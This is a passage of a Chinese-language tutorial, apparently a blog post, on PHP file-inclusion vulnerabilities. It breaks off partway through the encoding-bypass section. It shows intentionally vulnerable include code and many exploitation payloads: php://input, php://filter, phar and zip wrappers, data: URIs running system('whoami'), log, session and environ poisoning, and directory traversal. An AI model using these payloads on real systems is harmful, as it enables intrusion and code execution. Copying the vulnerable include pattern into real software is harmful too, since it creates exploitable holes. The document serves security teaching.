添加链接
link管理
链接快照平台
  • 输入网页链接,自动生成快照
  • 标签化管理网页链接

reuqire() 如果在包含的过程中有错,比如文件不存在等,则会直接退出,不执行后续语句。

include() 如果出错的话,只会提出警告,会继续执行后续语句。

require_once() 和 include_once() 功能与require() 和 include() 类似。但如果一个文件已经被包含过了,则 require_once() 和 include_once() 则不会再包含它,以避免函数重定义或变量重赋值等问题。

当利用这四个函数来包含文件时,不管文件是什么类型(图片、txt等等),都会直接作为php文件进行解析。测试代码:

1
2
3
4
<?php
$file = $_GET['file'];
include $file;
?>

在同目录下有个phpinfo.txt,其内容为 <? phpinfo(); ?> 。则只需要访问:

1
index.php?file=phpinfo.txt

即可成功解析phpinfo。

  • 具有相关的文件包含函数。
  • 文件包含函数中存在动态变量,比如 include $file;
  • 攻击者能够控制该变量,比如 $file = $_GET['file'];
  • 分类

    LFI(Local File Inclusion)

    本地文件包含漏洞,顾名思义,指的是能打开并包含本地文件的漏洞。大部分情况下遇到的文件包含漏洞都是LFI。简单的测试用例如前所示。

    RFI(Remote File Inclusion)

    远程文件包含漏洞。是指能够包含远程服务器上的文件并执行。由于远程服务器的文件是我们可控的,因此漏洞一旦存在危害性会很大。
    但RFI的利用条件较为苛刻,需要php.ini中进行配置

  • allow_url_fopen = On
  • allow_url_include = On
  • 两个配置选项均需要为On,才能远程包含文件成功。

    在php.ini中,allow_url_fopen默认一直是On,而allow_url_include从php5.2之后就默认为Off。

    包含姿势

    下面例子中测试代码均为:

    1
    2
    3
    4
    <?php
    $file = $_GET['file'];
    include $file;
    ?>

    allow_url_fopen 默认为 On
    allow_url_include 默认为 Off

    若有特殊要求,会在利用条件里指出。

    php伪协议

    php://input

    利用条件:

  • allow_url_include = On。
  • 对allow_url_fopen不做要求。
  • 姿势:

    1
    2
    3
    4
    5
    index.php
    ?file=php://input
    POST:
    <? phpinfo();?>

    php://filter

    利用条件:无甚

    姿势:

    1
    index.php?file=php://filter/read=convert.base64-encode/resource=index.php

    通过指定末尾的文件,可以读取经base64加密后的文件源码,之后再base64解码一下就行。虽然不能直接获取到shell等,但能读取敏感文件危害也是挺大的。

    1
    2
    3
    >>> import base64
    >>> base64.b64decode("PD9waHAgDQoJJGZpbGUgPSAkX0dFVFsnZmlsZSddOw0KCWluY2x1ZGUgJGZpbGU7DQo/Pg==")
    b"<?php \r\n\t$file = $_GET['file'];\r\n\tinclude $file;\r\n?>"

    其他姿势:

    1
    index.php?file=php://filter/convert.base64-encode/resource=index.php

    效果跟前面一样,少了read等关键字。在绕过一些waf时也许有用。

    phar://

    利用条件:

  • php版本大于等于php5.3.0
  • 假设有个文件phpinfo.txt,其内容为 <?php phpinfo(); ?> ,打包成zip压缩包,如下:

    指定绝对路径

    1
    index.php?file=phar://D:/phpStudy/WWW/fileinclude/test.zip/phpinfo.txt

    或者使用相对路径(这里test.zip就在当前目录下)

    1
    index.php?file=phar://test.zip/phpinfo.txt

    zip://

    利用条件:

  • php版本大于等于php5.3.0
  • 姿势:
    构造zip包的方法同phar。

    但使用zip协议,需要指定绝对路径,同时将 # 编码为 %23 ,之后填上压缩包内的文件。

    1
    index.php?file=zip://D:\phpStudy\WWW\fileinclude\test.zip%23phpinfo.txt

    若是使用相对路径,则会包含失败。

    data:URI schema

    利用条件:

  • php版本大于等于php5.2
  • allow_url_fopen = On
  • allow_url_include = On
  • 姿势一:

    1
    index.php?file=data:text/plain,<?php phpinfo();?>

    执行命令:

    1
    index.php?file=data:text/plain,<?php system('whoami');?>

    姿势二:

    1
    index.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

    加号 + 的url编码为 %2b PD9waHAgcGhwaW5mbygpOz8+ 的base64解码为: <?php phpinfo();?>

    执行命令:

    1
    index.php?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==

    其中 PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg== 的base64解码为: <?php system('whoami');?>

    包含session

    利用条件:session文件路径已知,且其中内容部分可控。

    php的session文件的保存路径可以在phpinfo的session.save_path看到。

    常见的php-session存放位置:

  • /var/lib/php/sess_PHPSESSID
  • /var/lib/php/sess_PHPSESSID
  • /tmp/sess_PHPSESSID
  • /tmp/sessions/sess_PHPSESSID
  • session的文件名格式为sess_[phpsessid]。而phpsessid在发送的请求的cookie字段中可以看到。

    要包含并利用的话,需要能控制部分sesssion文件的内容。暂时没有通用的办法。有些时候,可以先包含进session文件,观察里面的内容,然后根据里面的字段来发现可控的变量,从而利用变量来写入payload,并之后再次包含从而执行php代码。

    比如这篇文章: 透過 LFI 引入 PHP session 檔案觸發 RCE

    包含日志

    访问日志

    利用条件: 需要知道服务器日志的存储路径,且日志文件可读。

    很多时候,web服务器会将请求写入到日志文件中,比如说apache。在用户发起请求时,会将请求写入access.log,当发生错误时将错误写入error.log。默认情况下,日志保存路径在 /var/log/apache2/。

    但如果是直接发起请求,会导致一些符号被编码使得包含无法正确解析。可以使用burp截包后修改。

    正常的php代码已经写入了 /var/log/apache2/access.log。然后进行包含即可。

    在一些场景中,log的地址是被修改掉的。你可以通过读取相应的配置文件后,再进行包含。

    这里提供一道包含日志的CTF题目: SHACTF-2017- Bon Appétit (100)-writeup

    SSH log

    利用条件:需要知道ssh-log的位置,且可读。默认情况下为 /var/log/auth.log

    用ssh连接:

    1
    ubuntu@VM-207-93-ubuntu:~$ ssh '<?php phpinfo(); ?>'@remotehost

    之后会提示输入密码等等,随便输入。

    然后在remotehost的ssh-log中即可写入php代码:

    之后进行文件包含即可。

    参考: RCE with LFI and SSH Log Poisoning

    包含environ

    利用条件:

  • php以cgi方式运行,这样environ才会保持UA头。
  • environ文件存储位置已知,且environ文件可读。
  • proc/self/environ中会保存user-agent头。如果在user-agent中插入php代码,则php代码会被写入到environ中。之后再包含它,即可。

    可以参考这个:

  • The proc/self/environ Injection
  • shell via LFI - proc/self/environ method
  • 包含fd

    跟包含environ类似。

    参考: LFI Cheat Sheet:/proc/self/environ LFI Method

    包含临时文件

    php中上传文件,会创建临时文件。在linux下使用/tmp目录,而在windows下使用c:\winsdows\temp目录。在临时文件被删除之前,利用竞争即可包含该临时文件。

    由于包含需要知道包含的文件名。一种方法是进行暴力猜解,linux下使用的随机函数有缺陷,而window下只有65535中不同的文件名,所以这个方法是可行的。

    另一种方法是配合phpinfo页面的php variables,可以直接获取到上传文件的存储路径和临时文件名,直接包含即可。这个方法可以参考 LFI With PHPInfo Assistance

    类似利用临时文件的存在,竞争时间去包含的,可以看看这道CTF题: XMAN夏令营-2017-babyweb-writeup

    包含上传文件

    利用条件:千变万化,不过至少得知道上传的文件在哪,叫啥名字。。。

    往往要配合上传的姿势,不说了,太多了。

    其余

    一个web服务往往会用到多个其他服务,比如ftp服务,数据库等等。这些应用也会产生相应的文件,但这就需要具体情况具体分析咯。这里就不展开了。

    绕过姿势

    接下来聊聊绕过姿势。平常碰到的情况肯定不会是简简单单的 include $_GET['file']; 这样直接把变量传入包含函数的。在很多时候包含的变量/文件不是完全可控的,比如下面这段代码指定了前缀和后缀:

    1
    2
    3
    4
    <?php
    $file = $_GET['file'];
    include '/var/www/html/'.$file.'/test/test.php';
    ?>

    这样就很“难”直接去包含前面提到的种种文件。

    指定前缀

    先考虑一下指定了前缀的情况吧。测试代码:

    1
    2
    3
    4
    <?php
    $file = $_GET['file'];
    include '/var/www/html/'.$file;
    ?>

    目录遍历

    这个最简单了,简要的提一下。

    现在在/var/log/test.txt文件中有php代码 <?php phpinfo();?> ,则利用 ../ 可以进行目录遍历,比如我们尝试访问:

    1
    include.php?file=../../log/test.txt

    则服务器端实际拼接出来的路径为:/var/www/html/../../log/test.txt,也即/var/log/test.txt。从而包含成功。

    编码绕过

    服务器端常常会对于 ../ 等做一些过滤,可以用一些编码来进行绕过。下面这些总结来自《白帽子讲Web安全》。

  • 利用url编码
  •